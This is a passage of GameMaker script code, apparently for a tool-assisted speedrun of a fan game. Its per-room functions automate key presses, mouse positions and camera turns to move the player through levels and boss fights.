scr_rotate_camera_to_dir(208, 200);
if (point_distance(208,200,player_basic.x,player_basic.y) > 5)
scr_tas_keyboard_key_press(vk_up);
else
keyboard_key_release(vk_up);
}
scr_tas_room12()
{
internal_room = room12;
scr_set_tas_mouse_xy(scr_get_display_get_width()/2,scr_get_display_get_height()/2);
scr_tas_keyboard_key_press(vk_space);
}
scr_tas_room43()
{
internal_room = room43;
scr_set_tas_mouse_xy(scr_get_display_get_width()/2,scr_get_display_get_height()/2);
scr_tas_keyboard_key_press(vk_enter);
keyboard_key_release(vk_space);
}
scr_tas_room_world11()
{
if (global.prgmnumb == 0 && internal_room != room_world11)
{
internal_room = room_world11;
scr_tas_keyboard_key_press(vk_up);
keyboard_key_release(vk_enter);
} else if (global.prgmnumb < 23)
{
internal_room = room_world11;
scr_tas_keyboard_key_press(vk_up);
} else if (global.prgmnumb == 23)
{
if (internal_room != room_world11)
{
timerB = 0
timer = 2;
internal_room = room_world11;
}
if (timer > 0)
{
scr_set_tas_mouse_xy(scr_get_display_get_width()/2 + 460,scr_get_display_get_height()/2);
timer -= 1;
} else
{
if (timer == 0 && (timerB < 200 || timerB == 610 || timerB > 730) && timerB < 750)
{
scr_tas_keyboard_key_press(vk_space);
timer = -1;
} else
{
keyboard_key_release(vk_space);
timer = 0;
}
timerB += 1;
if (timerB < 760)
scr_tas_keyboard_key_press(vk_up);
else
{
keyboard_key_release(vk_up);
if (timerB == 769)
scr_set_tas_mouse_xy(scr_get_display_get_width()/2 + 288,scr_get_display_get_height()/2);
}
if (timerB == 380)
scr_set_tas_mouse_xy(scr_get_display_get_width()/2 - 450,scr_get_display_get_height()/2);
else if (timerB == 420)
scr_set_tas_mouse_xy(scr_get_display_get_width()/2 - 450,scr_get_display_get_height()/2);
else if (timerB == 430)
scr_set_tas_mouse_xy(scr_get_display_get_width()/2 + 600,scr_get_display_get_height()/2);
else if (timerB == 730)
scr_set_tas_mouse_xy(scr_get_display_get_width()/2 - 360,scr_get_display_get_height()/2);
}
} else if (global.prgmnumb == 24 && global.gotjet == 0)
{
if (internal_room != room_world11)
{
timer = 0;
internal_room = room_world11;
}
keyboard_key_release(vk_space);
if (obj_linkplayer.z == -0.5)
scr_tas_keyboard_key_press(vk_space);
scr_rotate_camera_to_dir(48, 1952);
if (point_distance(obj_linkplayer.x, obj_linkplayer.y, 48, 1952) > 5)
scr_tas_keyboard_key_press(vk_up);
else
keyboard_key_release(vk_up);
} else if (global.gotgrappin == 0 && global.gotjet == 1)
{
internal_room = room_world11;
scr_rotate_camera_to_dir(784, 1312);
scr_tas_keyboard_key_press(vk_space);
scr_tas_keyboard_key_press(vk_up);
} else if (global.gotgrappin == 1 && global.gothammer == 0)
{
internal_room = room_world11;
if (obj_linkplayer.y > 736)
{
if (obj_linkplayer.z == 15.5)
scr_tas_execute_simulated_CAD_menu(16);
scr_tas_keyboard_key_press(vk_space);
scr_rotate_camera_to_dir(1520, 1200);
} else if (obj_linkplayer.y > 640)
scr_rotate_camera_to_dir(1472, 624);
else
scr_rotate_camera_to_dir(1888, 256);
if (point_distance(obj_linkplayer.x,obj_linkplayer.y,1888,256) > 4)
{
scr_tas_keyboard_key_press(vk_up);
scr_tas_keyboard_key_press(vk_space);
} else
{
keyboard_key_release(vk_up);
keyboard_key_release(vk_space);
}
} else if (global.gothammer == 1)
{
if (internal_room != room_world11)
{
internal_room = room_world11;
scr_tas_keyboard_key_press(vk_shift);
keyboard_key_release(vk_shift);
a = 0;
}
if (obj_linkplayer.x > 1392 && obj_linkplayer.y < 400)
scr_rotate_camera_to_dir(1344, 272);
else if (obj_linkplayer.z < 160 && obj_linkplayer.y < 1056)
scr_rotate_camera_to_dir(1376, 400);
else if (obj_linkplayer.y < 1056)
{
scr_tas_keyboard_key_press(vk_space);
scr_rotate_camera_to_dir(1472, 1072);
} else if (obj_linkplayer.x < 1632)
{
if (obj_linkplayer.z > 64)
keyboard_key_release(vk_space);
else
scr_tas_keyboard_key_press(vk_space);
scr_rotate_camera_to_dir(1712, 1248);
} else
{
if (obj_linkplayer.z > 16 && obj_linkplayer.y > 1712)
keyboard_key_release(vk_space);
else
scr_tas_keyboard_key_press(vk_space);
scr_rotate_camera_to_dir(1656, 1872);
}
if (a == 0)
{
keyboard_key_release(ord('H'));
a = 1;
} else
{
scr_tas_keyboard_key_press(ord('H'));
a = 0;
}
scr_tas_keyboard_key_press(vk_up);
}
}
scr_tas_room105()
{
if (internal_room != room105)
internal_room = room105;
if (obj_cam.direction < 180 || obj_cam.direction > 290)
{
scr_tas_keyboard_key_press(vk_right);
keyboard_key_release(vk_up);
} else
{
scr_tas_keyboard_key_press(vk_up);
keyboard_key_release(vk_right);
}
}
scr_tas_gameover138()
{
if (internal_room != gameover138)
{
internal_room = gameover138;
scr_tas_keyboard_key_press(vk_escape);
} else
keyboard_key_release(vk_escape);
}
scr_tas_stage4_69()
{
internal_room = stage4_69;
scr_set_tas_mouse_xy(scr_get_display_get_width()/2,scr_get_display_get_height()/2);
scr_tas_keyboard_key_press(vk_enter);
}
scr_tas_room36()
{
if (internal_room != room36)
{
timer = 0;
internal_room = room36;
}
if (timer < 1)
{
scr_rotate_camera_to_dir(176, 64);
timer += 1;
} else if (timer < 30)
{
scr_tas_keyboard_key_press(vk_up);
timer += 1;
} else if (timer < 31)
{
keyboard_key_release(vk_up);
scr_tas_keyboard_key_press(vk_down);
scr_tas_keyboard_key_press(vk_right);
timer += 1;
} else
{
keyboard_key_release(vk_right);
scr_tas_keyboard_key_press(vk_down);
timer += 1;
}
}
scr_tas_room83()
{
internal_room = room83;
scr_tas_keyboard_key_press(vk_space);
}
scr_tas_room79()
{
if (internal_room != room79)
{
timer = 0;
internal_room = room79;
keyboard_key_release(vk_space);
}
if (timer < 1)
scr_set_tas_mouse_xy(scr_get_display_get_width()/2 + 180,scr_get_display_get_height()/2);
else if (timer < 115)
scr_tas_keyboard_key_press(vk_up);
else if (timer < 123)
{
scr_set_tas_mouse_xy(scr_get_display_get_width()/2 + 190,scr_get_display_get_height()/2);
scr_tas_keyboard_key_press(vk_up);
} else if (timer < 155)
scr_tas_keyboard_key_press(vk_up);
else if (timer < 180)
{
scr_tas_keyboard_key_press(vk_up);
scr_tas_keyboard_key_press(vk_right);
keyboard_key_release(vk_space);
scr_tas_keyboard_key_press(vk_space);
} else if (timer < 183)
{
keyboard_key_release(vk_up);
keyboard_key_release(vk_right);
scr_set_tas_mouse_xy(scr_get_display_get_width()/2 - 450,scr_get_display_get_height()/2);
} else if (timer < 215)
scr_tas_keyboard_key_press(vk_up);
else if (timer < 218)
{
keyboard_key_release(vk_up);
scr_set_tas_mouse_xy(scr_get_display_get_width()/2 - 375,scr_get_display_get_height()/2);
} else if (timer < 300)
scr_tas_keyboard_key_press(vk_up);
else if (timer < 302)
{
scr_set_tas_mouse_xy(scr_get_display_get_width()/2 - 410,scr_get_display_get_height()/2);
keyboard_key_release(vk_up);
} else if (timer < 500)
scr_tas_keyboard_key_press(vk_up);
else
{
keyboard_key_release(vk_up);
keyboard_key_release(vk_space);
scr_tas_keyboard_key_press(vk_down);
}
timer += 1;
}
scr_tas_room120()
{
internal_room = room120;
}
scr_tas_room121()
{
if (internal_room != room121)
{
random_set_seed(135464354);
internal_room = room121;
}
internal_room = room121;
keyboard_key_release(vk_space);
scr_tas_keyboard_key_press(vk_space);
}
scr_tas_room123()
{
if (internal_room != room123)
{
internal_room = room123;
keyboard_key_release(vk_space);
a = 0;
b = 0;
c = 0;
}
if (a == 0)
{
scr_tas_keyboard_key_press(vk_control);
if (c == 0 || (obj_player.z < 8 && point_distance(obj_player.x, obj_player.y, 936, 944) > 5))
scr_tas_keyboard_key_press(vk_space);
a = 1;
} else if (a == 1)
{
if (c == 0)
keyboard_key_release(vk_control);
keyboard_key_release(vk_space);
a = 0;
}
if (obj_player.x < 672)
{
scr_rotate_camera_to_dir(obj_player.x+1, obj_player.y);
b += 1;
if (b < 40)
{
keyboard_key_release(vk_down);
scr_tas_keyboard_key_press(vk_up);
} else if (b < 45)
{
keyboard_key_release(vk_up);
scr_tas_keyboard_key_press(vk_down);
} else
b = 0;
} else if (obj_player.x < 768)
{
scr_rotate_camera_to_dir(936, 520);
keyboard_key_release(vk_down);
scr_tas_keyboard_key_press(vk_up);
} else if (obj_player.y < 900)
{
scr_rotate_camera_to_dir(obj_player.x-0.2, obj_player.y+1);
scr_tas_keyboard_key_press(vk_up);
b = 0;
} else
{
c = 1;
scr_rotate_camera_to_dir(936, 944);
keyboard_key_release(vk_down);
if (point_distance(obj_player.x, obj_player.y, 936, 944) > 5)
scr_tas_keyboard_key_press(vk_up);
else
keyboard_key_release(vk_up);
}
}
scr_tas_room124()
{
internal_room = room124;
keyboard_key_release(vk_up);
keyboard_key_release(vk_space);
scr_tas_keyboard_key_press(vk_right);
}
scr_tas_room125()
{
internal_room = room125;
keyboard_key_release(vk_right);
scr_tas_keyboard_key_press(vk_space);
scr_tas_keyboard_key_press(vk_up);
}
scr_tas_room126()
{
internal_room = room126;
keyboard_key_release(vk_up);
scr_tas_keyboard_key_press(vk_space);
}
scr_tas_room127()
{
internal_room = room127;
keyboard_key_release(vk_space);
scr_tas_keyboard_key_press(vk_enter);
}
scr_tas_room129()
{
internal_room = room129;
keyboard_key_release(vk_enter);
scr_tas_keyboard_key_press(vk_enter);
}
scr_tas_test_128()
{
if (internal_room != test_128)
{
internal_room = test_128;
keyboard_key_release(vk_control);
keyboard_key_release(vk_enter);
keyboard_key_release(vk_space);
keyboard_key_release(vk_escape);
scr_tas_keyboard_key_press(vk_escape);
}
}
scr_tas_room192()
{
if (internal_room != room192)
{
internal_room = room192;
random_set_seed(135464354);
}
keyboard_key_release(vk_space);
scr_tas_keyboard_key_press(vk_space);
if (obj_linkplayer.x < 336)
scr_rotate_camera_to_dir(352, 128);
else if (obj_linkplayer.y > 96)
scr_rotate_camera_to_dir(416, 64);
else
scr_rotate_camera_to_dir(960, 32);
if (obj_linkplayer.x > 568 && obj_linkplayer.z >= -0.5)
scr_tas_execute_simulated_CAD_menu(10);
if (instance_number(obj_linkplayer) == 1)
{
scr_tas_keyboard_key_press(vk_up);
keyboard_key_release(vk_down);
} else
{
keyboard_key_release(vk_up);
scr_tas_keyboard_key_press(vk_down);
}
}
scr_tas_room193()
{
if (internal_room != room193)
{
internal_room = room193;
keyboard_key_release(vk_down);
keyboard_key_release(vk_space);
}
if (global.gotjet == 0)
{
keyboard_key_release(vk_space);
scr_tas_keyboard_key_press(vk_space);
scr_rotate_camera_to_dir(96, 64);
scr_tas_keyboard_key_press(vk_up);
} else
{
scr_rotate_camera_to_dir(528, 256);
if (instance_number(obj_linkplayer) == 1)
{
scr_tas_keyboard_key_press(vk_up);
keyboard_key_release(vk_down);
} else
{
keyboard_key_release(vk_up);
scr_tas_keyboard_key_press(vk_down);
}
}
}
scr_tas_room194()
{
if (internal_room != room194)
{
internal_room = room194;
a = 0;
}
if (a == 0)
{
scr_tas_keyboard_key_press(vk_control);
a = 1;
} else if (a == 1)
{
keyboard_key_release(vk_control);
a = 0;
}
scr_rotate_camera_to_dir(496, 368);
scr_tas_keyboard_key_press(vk_up);
}
scr_tas_room196()
{
if (internal_room != room196)
{
internal_room = room196;
keyboard_key_release(vk_down);
}
keyboard_key_release(vk_space);
scr_tas_keyboard_key_press(vk_space);
scr_rotate_camera_to_dir(112, 256);
if (instance_number(obj_linkplayer) == 1)
{
scr_tas_keyboard_key_press(vk_up);
keyboard_key_release(vk_down);
} else
{
keyboard_key_release(vk_up);
scr_tas_keyboard_key_press(vk_down);
}
}
scr_tas_room197()
{
if (internal_room != room197)
internal_room = room197;
scr_tas_keyboard_key_press(vk_down);
timer += 1;
if (timer < 15)
scr_tas_keyboard_key_press(vk_right);
else if (timer < 60)
keyboard_key_release(vk_right);
else
scr_tas_keyboard_key_press(vk_right);
}
scr_tas_room198()
{
if (internal_room != room198)
{
internal_room = room198;
keyboard_key_release(vk_down);
keyboard_key_release(vk_right);
}
scr_tas_keyboard_key_press(vk_up);
if (obj_linkplayer.x > 256)
{
scr_rotate_camera_to_dir(240, 384);
if (obj_linkplayer.canjump <= -2.5 && obj_linkplayer.x > 384)
{
scr_tas_keyboard_key_press(vk_space);
keyboard_key_release(vk_space);
}
} else
{
scr_rotate_camera_to_dir(112, 160);
if (obj_linkplayer.canjump <= -2.5)
{
scr_tas_keyboard_key_press(vk_space);
keyboard_key_release(vk_space);
}
}
}
scr_tas_room199()
{
if (internal_room != room199)
internal_room = room199;
if (obj_linkplayer.y > 624)
{
scr_rotate_camera_to_dir(320, 648);
scr_tas_keyboard_key_press(vk_up);
} else
{
scr_rotate_camera_to_dir(obj_linkplayer.x+2, obj_linkplayer.y+16);
scr_tas_keyboard_key_press(vk_up);
}
}
scr_tas_room200()
{
if (internal_room != room200)
{
internal_room = room200;
keyboard_key_release(vk_down);
}
if (obj_linkplayer.y < 480)
{
if (obj_linkplayer.canjump < -4)
{
keyboard_key_release(vk_space);
scr_tas_keyboard_key_press(vk_space);
}
scr_rotate_camera_to_dir(obj_linkplayer.x, obj_linkplayer.y+16);
scr_tas_keyboard_key_press(vk_up);
} else
{
keyboard_key_release(vk_space);
scr_tas_keyboard_key_press(vk_space);
scr_rotate_camera_to_dir(128, 776);
scr_tas_keyboard_key_press(vk_up);
}
}
scr_tas_room201()
{
if (internal_room != room201)
internal_room = room201;
if (instance_number(obj_playcam) == 1)
scr_tas_keyboard_key_press(vk_space);
else
{
if (obj_linkplayer.z > -64 && global.gotjet == 0)
{
keyboard_key_release(vk_space);
scr_tas_keyboard_key_press(vk_space);
} else
keyboard_key_release(vk_space);
if (global.gotjet == 0)
{
scr_rotate_camera_to_dir(96, 80);
scr_tas_keyboard_key_press(vk_up);
} else
{
scr_tas_execute_simulated_CAD_menu(100)
scr_rotate_camera_to_dir(448, 192);
if (obj_linkplayer.x < 398)
scr_tas_keyboard_key_press(vk_up);
else
keyboard_key_release(vk_up);
}
}
}
scr_tas_arwingbug85()
{
if (internal_room != arwingbug85)
internal_room = arwingbug85;
if (instance_number(obj_playcam) == 1)
{
scr_tas_keyboard_key_press(vk_space);
keyboard_key_release(ord('Q'));
} else if (instance_number(obj_arwing_p1) > 0)
scr_tas_keyboard_key_press(ord('Q'));
else
scr_tas_execute_simulated_CAD_menu(100);
}
scr_tas_room141()
{
if (internal_room != room141)
internal_room = room141;
if (global.gotgrappin == 1)
scr_rotate_camera_to_dir(192, 224);
else
scr_rotate_camera_to_dir(288, 160);
scr_tas_keyboard_key_press(vk_up);
}
scr_tas_room142()
{
if (internal_room != room142)
internal_room = room142;
if (obj_linkplayer.x < 208)
scr_rotate_camera_to_dir(272, 416);
else
scr_rotate_camera_to_dir(400, 304);
scr_tas_keyboard_key_press(vk_up);
scr_tas_keyboard_key_press(vk_space);
}
scr_tas_room143()
{
if (internal_room != room143)
{
timer = 0;
internal_room = room143;
}
if (timer == 0)
{
scr_tas_execute_simulated_CAD_menu(16);
timer += 1;
} else
scr_rotate_camera_to_dir(496, 64);
scr_tas_keyboard_key_press(vk_up);
scr_tas_keyboard_key_press(vk_space);
}
scr_tas_room144()
{
if (internal_room != room144)
internal_room = room144;
if (obj_linkplayer.y < 256)
scr_rotate_camera_to_dir(240, 272);
else
scr_rotate_camera_to_dir(224, 320);
scr_tas_keyboard_key_press(vk_up);
}
scr_tas_room145()
{
if (internal_room != room145)
internal_room = room145;
if (obj_linkplayer.y < 232)
scr_rotate_camera_to_dir(352, 256);
else
{
if (obj_linkplayer.jump == 0 && obj_linkplayer.z == -0.5 && obj_linkplayer.canjump == -0.5)
scr_tas_execute_simulated_CAD_menu(7);
if (obj_linkplayer.z < -6)
{
keyboard_key_release(vk_space);
scr_tas_keyboard_key_press(vk_space);
} else
keyboard_key_release(vk_space);
if (obj_linkplayer.y < 296)
scr_rotate_camera_to_dir(352, 348);
else
scr_rotate_camera_to_dir(112, 320);
}
scr_tas_keyboard_key_press(vk_up);
}
scr_tas_room146()
{
if (internal_room != room146)
internal_room = room146;
if (obj_linkplayer.y < 256)
scr_rotate_camera_to_dir(240, 272);
else
scr_rotate_camera_to_dir(224, 320);
scr_tas_keyboard_key_press(vk_up);
}
scr_tas_room147()
{
if (internal_room != room147)
{
timer = 0;
internal_room = room147;
}
if (timer == 0 && obj_linkplayer.x < 320)
{
scr_tas_execute_simulated_CAD_menu(16);
timer += 1;
} else
scr_rotate_camera_to_dir(112, 332);
scr_tas_keyboard_key_press(vk_up);
if (obj_linkplayer.x < 320)
scr_tas_keyboard_key_press(vk_space);
}
scr_tas_room148()
{
if (internal_room != room148)
internal_room = room148;
if (obj_linkplayer.x < 416)
scr_rotate_camera_to_dir(432, 208);
else
scr_rotate_camera_to_dir(1232, 224);
if (obj_linkplayer.x < 392 || obj_linkplayer.x > 408)
scr_tas_keyboard_key_press(vk_space);
else
keyboard_key_release(vk_space);
scr_tas_keyboard_key_press(vk_up);
}
scr_tas_room149()
{
if (internal_room != room149)
internal_room = room149;
if (obj_linkplayer.y < 292 && obj_linkplayer.x < 2896)
scr_tas_keyboard_key_press(vk_down);
else
keyboard_key_release(vk_down);
if (obj_linkplayer.x > 2892)
scr_tas_keyboard_key_press(vk_up);
scr_tas_keyboard_key_press(vk_right);
scr_tas_keyboard_key_press(vk_space);
}
scr_tas_room150()
{
if (internal_room != room150)
internal_room = room150;
if (instance_number(obj_playcam) == 1)
scr_tas_keyboard_key_press(vk_space);
else
{
scr_rotate_camera_to_dir(304, 240);
scr_tas_keyboard_key_press(vk_up);
if (global.gotgrappin == 0)
{
if (obj_linkplayer.jump == 0 && obj_linkplayer.z == -0.5 && obj_linkplayer.canjump == -0.5)
scr_tas_execute_simulated_CAD_menu(7);
if (obj_linkplayer.z < -6)
{
keyboard_key_release(vk_space);
scr_tas_keyboard_key_press(vk_space);
} else
keyboard_key_release(vk_space);
} else
{
keyboard_key_release(vk_space);
while ((obj_linkplayer.z <= -128 || health >= 0) && !keyboard_check(vk_space))
scr_tas_execute_simulated_CAD_menu(1);
}
}
}
scr_tas_room_pipebug100()
{
if (internal_room != room_pipebug100)
internal_room = room_pipebug100;
scr_rotate_camera_to_dir(288, 256);
scr_tas_keyboard_key_press(vk_up);
}
scr_tas_room15()
{
if (internal_room != room15)
internal_room = room15;
if (obj_linkplayer.y > 48 && obj_linkplayer.x < 256)
{
if (obj_linkplayer.jump == 0 && obj_linkplayer.z == -0.5 && obj_linkplayer.canjump == -0.5)
scr_tas_execute_simulated_CAD_menu(7);
if (obj_linkplayer.z < -6)
{
keyboard_key_release(vk_space);
scr_tas_keyboard_key_press(vk_space);
} else
keyboard_key_release(vk_space);
scr_rotate_camera_to_dir(obj_linkplayer.x, obj_linkplayer.y-5);
scr_tas_keyboard_key_press(vk_up);
} else if (obj_linkplayer.x < 2200)
{
scr_tas_keyboard_key_press(vk_up);
scr_tas_keyboard_key_press(vk_space);
scr_rotate_camera_to_dir(obj_linkplayer.x+10, obj_linkplayer.y+1);
} else
{
if (obj_linkplayer.jump == 0 && obj_linkplayer.z == -0.5 && obj_linkplayer.canjump == -0.5)
scr_tas_execute_simulated_CAD_menu(7);
if (obj_linkplayer.z < -6)
{
keyboard_key_release(vk_space);
scr_tas_keyboard_key_press(vk_space);
} else if (obj_linkplayer.jump == 0)
keyboard_key_release(vk_space);
scr_tas_keyboard_key_press(vk_up);
scr_rotate_camera_to_dir(2336, 585);
}
if (scr_get_tas_mouse_x() == scr_get_display_get_width()/2)
scr_tas_keyboard_key_press(vk_up);
else if (point_distance(obj_linkplayer.x,obj_linkplayer.y,2336,585) <= 5)
keyboard_key_release(vk_up);
}
scr_tas_room16()
{
if (internal_room != room16)
{
internal_room = room16;
a = 0;
}
if (obj_linkplayer.z < 230 && point_distance(232,280,obj_linkplayer.x,obj_linkplayer.y) > 0)
{
scr_tas_keyboard_key_press(vk_space);
if (a == 0 && instance_number(obj_grappinwep) == 0)
{
scr_tas_keyboard_key_press(ord('G'));
a = 1;
} else
{
keyboard_key_release(ord('G'));
a = 0;
}
scr_aim_camera_to_dir(232,280,256-5);
} else
{
keyboard_key_release(vk_space);
scr_tas_keyboard_key_press(vk_up);
if (global.gunner == 1)
{
scr_tas_keyboard_key_press(vk_shift);
keyboard_key_release(vk_shift);
}
scr_rotate_camera_to_dir(192,192);
}
}
scr_tas_room160()
{
if (internal_room != room160)
internal_room = room160;
if (global.gothammer == 0)
{
scr_rotate_camera_to_dir(624, 144);
scr_tas_keyboard_key_press(vk_up);
if (obj_linkplayer.z < 100)
scr_tas_keyboard_key_press(vk_space);
else
scr_tas_execute_simulated_CAD_menu(55);
} else
{
if (obj_linkplayer.y < 304 && obj_linkplayer.z < 45)
{
scr_rotate_camera_to_dir(400, 336);
scr_tas_keyboard_key_press(vk_up);
} else
{
if (a == 0 && instance_number(obj_grappinwep) == 0)
{
scr_tas_keyboard_key_press(ord('G'));
a = 1;
} else
{
keyboard_key_release(ord('G'));
a = 0;
}
if (obj_linkplayer.z < 15)
scr_aim_camera_to_dir(208,312,65);
else if (obj_linkplayer.z < 24)
scr_aim_camera_to_dir(208,307,15);
else if (obj_linkplayer.z < 45)
scr_aim_camera_to_dir(208,313,64);
else if (obj_linkplayer.z < 145)
scr_aim_camera_to_dir(120,313,140);
else if (obj_linkplayer.z < 251)
scr_aim_camera_to_dir(118,182,251);
else if (obj_linkplayer.z < 359)
scr_aim_camera_to_dir(52,182,359);
}
}
}
scr_tas_room161()
{
if (internal_room != room161)
{
timer = 0;
internal_room = room161;
}
if (timer == 0)
{
scr_tas_execute_simulated_CAD_menu(16);
timer += 1;
}
if (global.gothammer == 0)
scr_rotate_camera_to_dir(304, 352);
else
scr_rotate_camera_to_dir(48, 272);
scr_tas_keyboard_key_press(vk_up);
scr_tas_keyboard_key_press(vk_space);
}
scr_tas_room164()
{
if (internal_room != room164)
{
internal_room = room164;
a = 0;
keyboard_key_release(vk_space);
}
if (instance_number(obj_blob) > 4)
{
scr_rotate_camera_to_dir(112, 264);
scr_tas_keyboard_key_press(vk_up);
} else if (instance_number(obj_iguane) > 3)
{
scr_rotate_camera_to_dir(304, 256);
scr_tas_keyboard_key_press(vk_up);
} else if (obj_linkplayer.y < 304 && obj_linkplayer.z < 128)
{
scr_tas_keyboard_key_press(vk_space);
scr_rotate_camera_to_dir(304, 320);
scr_tas_keyboard_key_press(vk_up);
} else if (obj_linkplayer.x < 368 && obj_linkplayer.z < 128 && obj_linkplayer.y < 384)
{
scr_tas_keyboard_key_press(vk_space);
scr_rotate_camera_to_dir(384, 384);
scr_tas_keyboard_key_press(vk_up);
} else if (obj_linkplayer.z < 128)
{
scr_tas_keyboard_key_press(vk_space);
scr_rotate_camera_to_dir(368, 464);
scr_tas_keyboard_key_press(vk_up);
} else if (instance_number(obj_bigblob) > 1)
{
scr_tas_keyboard_key_press(vk_space);
scr_rotate_camera_to_dir(256, 448);
scr_tas_keyboard_key_press(vk_up);
} else if (instance_number(obj_bigblob) > 0)
{
scr_tas_keyboard_key_press(vk_space);
scr_rotate_camera_to_dir(obj_bigblob.x, obj_bigblob.y);
if (point_distance(obj_linkplayer.x, obj_linkplayer.y, obj_bigblob.x, obj_bigblob.y) > 28)
{
scr_tas_keyboard_key_press(vk_up);
keyboard_key_release(vk_down);
} else
{
scr_tas_keyboard_key_press(vk_down);
keyboard_key_release(vk_up);
}
} else if (instance_number(obj_blob) > 0 && obj_linkplayer.y > 384)
{
scr_tas_keyboard_key_press(vk_space);
scr_rotate_camera_to_dir(196, 72);
scr_tas_keyboard_key_press(vk_up);
} else if (instance_number(obj_blob) > 0)
{
scr_tas_keyboard_key_press(vk_space);
scr_rotate_camera_to_dir(40, 64);
scr_tas_keyboard_key_press(vk_up);
} else if (instance_number(obj_iguane) > 0)
{
scr_tas_keyboard_key_press(vk_space);
scr_rotate_camera_to_dir(528, 208);
scr_tas_keyboard_key_press(vk_up);
} else
{
scr_tas_keyboard_key_press(vk_space);
scr_rotate_camera_to_dir(624, 256);
scr_tas_keyboard_key_press(vk_up);
}
if (a == 0)
{
scr_tas_keyboard_key_press(vk_control);
a = 1;
} else if (a == 1)
{
keyboard_key_release(vk_control);
a = 0;
}
}
scr_tas_room165()
{
if (internal_room != room165)
{
internal_room = room165;
keyboard_key_release(vk_control);
}
if (obj_linkplayer.z < 128 && instance_number(obj_metalbox) > 0)
{
scr_rotate_camera_to_dir(96, 132);
scr_tas_keyboard_key_press(vk_space);
} else if (instance_number(obj_metalbox) > 0 || obj_linkplayer.cantchose != 0)
{
scr_rotate_camera_to_dir(88, 96);
if (a == 0)
{
scr_tas_keyboard_key_press(vk_control);
a = 1;
} else if (a == 1)
{
keyboard_key_release(vk_control);
a = 0;
}
keyboard_key_release(vk_space);
} else if (obj_linkplayer.x < 272)
{
while (obj_linkplayer.z >= -80 && !keyboard_check(vk_space))
scr_tas_execute_simulated_CAD_menu(1);
scr_tas_keyboard_key_press(vk_space);
scr_rotate_camera_to_dir(288, 0);
} else
scr_rotate_camera_to_dir(416, 224);
scr_tas_keyboard_key_press(vk_up);
}
scr_tas_room166()
{
if (internal_room != room166)
{
internal_room = room166;
keyboard_key_release(vk_control);
}
if (obj_linkplayer.x < 272)
scr_rotate_camera_to_dir(384, 208);
else
scr_rotate_camera_to_dir(368, 336);
scr_tas_keyboard_key_press(vk_up);
scr_tas_keyboard_key_press(vk_space);
}
scr_tas_room168()
{
if (internal_room != room168)
internal_room = room168;
if (instance_number(obj_playcam) == 1)
scr_tas_keyboard_key_press(vk_space);
else
{
if (global.gothammer == 0)
{
scr_rotate_camera_to_dir(80, 304);
scr_tas_keyboard_key_press(vk_space);
scr_tas_keyboard_key_press(vk_up);
} else
{
scr_tas_execute_simulated_CAD_menu(100);
keyboard_key_release(vk_space);
keyboard_key_release(vk_up);
}
}
}
scr_tas_room207()
{
if (internal_room != room207)
internal_room = room207;
while (obj_linkplayer.z >= -40 && !keyboard_check(vk_space))
scr_tas_execute_simulated_CAD_menu(1);
if (obj_linkplayer.x < 312)
scr_rotate_camera_to_dir(328, 160);
else
scr_rotate_camera_to_dir(400, 184);
scr_tas_keyboard_key_press(vk_space);
scr_tas_keyboard_key_press(vk_up);
}
scr_tas_room208()
{
if (internal_room != room208)
internal_room = room208;
scr_rotate_camera_to_dir(544, 768);
scr_tas_keyboard_key_press(vk_up);
}
scr_tas_room221()
{
if (internal_room != room221)
internal_room = room221;
while (obj_linkplayer.z >= -40 && !keyboard_check(vk_space))
scr_tas_execute_simulated_CAD_menu(1);
if (obj_linkplayer.y < 892 && obj_linkplayer.x < 160)
scr_rotate_camera_to_dir(obj_linkplayer.x, obj_linkplayer.y+1);
else if (obj_linkplayer.x < 560)
scr_rotate_camera_to_dir(obj_linkplayer.x+10, obj_linkplayer.y);
else if (obj_linkplayer.x > 560)
scr_rotate_camera_to_dir(608, 224);
scr_tas_keyboard_key_press(vk_up);
scr_tas_keyboard_key_press(vk_space);
}
scr_tas_room222()
{
if (internal_room != room222)
{
random_set_seed(1609022243);
internal_room = room222;
}
if (obj_linkplayer.z == -0.5)
scr_tas_execute_simulated_CAD_menu(16);
scr_rotate_camera_to_dir(96, 96);
scr_tas_keyboard_key_press(vk_up);
scr_tas_keyboard_key_press(vk_space);
}
scr_tas_room223()
{
if (internal_room != room223)
{
internal_room = room223;
a = 0;
}
scr_rotate_camera_to_dir(592, 224);
if (obj_linkplayer.x > 500)
keyboard_key_release(vk_space);
if (obj_linkplayer.x < 500 && instance_number(obj_cowennemi) == 0)
scr_tas_keyboard_key_press(vk_space);
if (a == 0)
{
scr_tas_keyboard_key_press(ord('H'));
a = 1;
} else if (a == 1)
{
keyboard_key_release(ord('H'));
a = 0;
}
scr_tas_keyboard_key_press(vk_up);
}
scr_tas_room225()
{
if (internal_room != room225)
{
internal_room = room225;
scr_tas_keyboard_key_press(ord('T'));
}
}
scr_tas_room226()
{
if (internal_room != room226)
{
internal_room = room226;
a = 0;
b = 0;
keyboard_key_release(ord('H'));
keyboard_key_release(ord('T'));
}
if (global.gunner == 1)
{
scr_tas_keyboard_key_press(vk_shift);
keyboard_key_release(vk_shift);
}
if (instance_number(obj_squirtleboss) == 1)
{
if (obj_squirtleboss.shell == 1 && b == 0)
{
if (a == 0)
{
scr_tas_keyboard_key_press(ord('G'));
a = 1;
} else if (a == 1)
{
keyboard_key_release(ord('G'));
a = 0;
}
if (keyboard_check(vk_control))
{
keyboard_key_release(vk_control);
b = 0;
}
} else
{
a = 0;
if (b == 0)
{
scr_tas_keyboard_key_press(vk_control);
b = 1;
} else if (b == 1)
{
keyboard_key_release(vk_control);
b = 0;
}
}
scr_rotate_camera_to_dir(obj_squirtleboss.x, obj_squirtleboss.y);
if (point_distance(obj_linkplayer.x, obj_linkplayer.y, obj_squirtleboss.x, obj_squirtleboss.y) > 10)
{
scr_tas_keyboard_key_press(vk_up);
keyboard_key_release(vk_down);
} else
{
keyboard_key_release(vk_up);
scr_tas_keyboard_key_press(vk_down);
}
} else if (instance_number(obj_ivyboss) == 1)
{
if (obj_ivyboss.para == 0 && b == 0)
{
if (a == 0 && (obj_linkplayer.ataktipe != 2) && (obj_linkplayer.ataktipe != 3))
{
scr_tas_keyboard_key_press(ord('H'));
a = 1;
} else if (a == 1)
{
keyboard_key_release(ord('H'));
a = 0;
}
} else
{
a = 0;
if (b == 0)
{
scr_tas_keyboard_key_press(vk_control);
b = 1;
} else if (b == 1)
{
keyboard_key_release(vk_control);
b = 0;
}
}
scr_rotate_camera_to_dir(obj_ivyboss.x, obj_ivyboss.y);
if (point_distance(obj_linkplayer.x, obj_linkplayer.y, obj_ivyboss.x, obj_ivyboss.y) > 23)
{
scr_tas_keyboard_key_press(vk_up);
keyboard_key_release(vk_down);
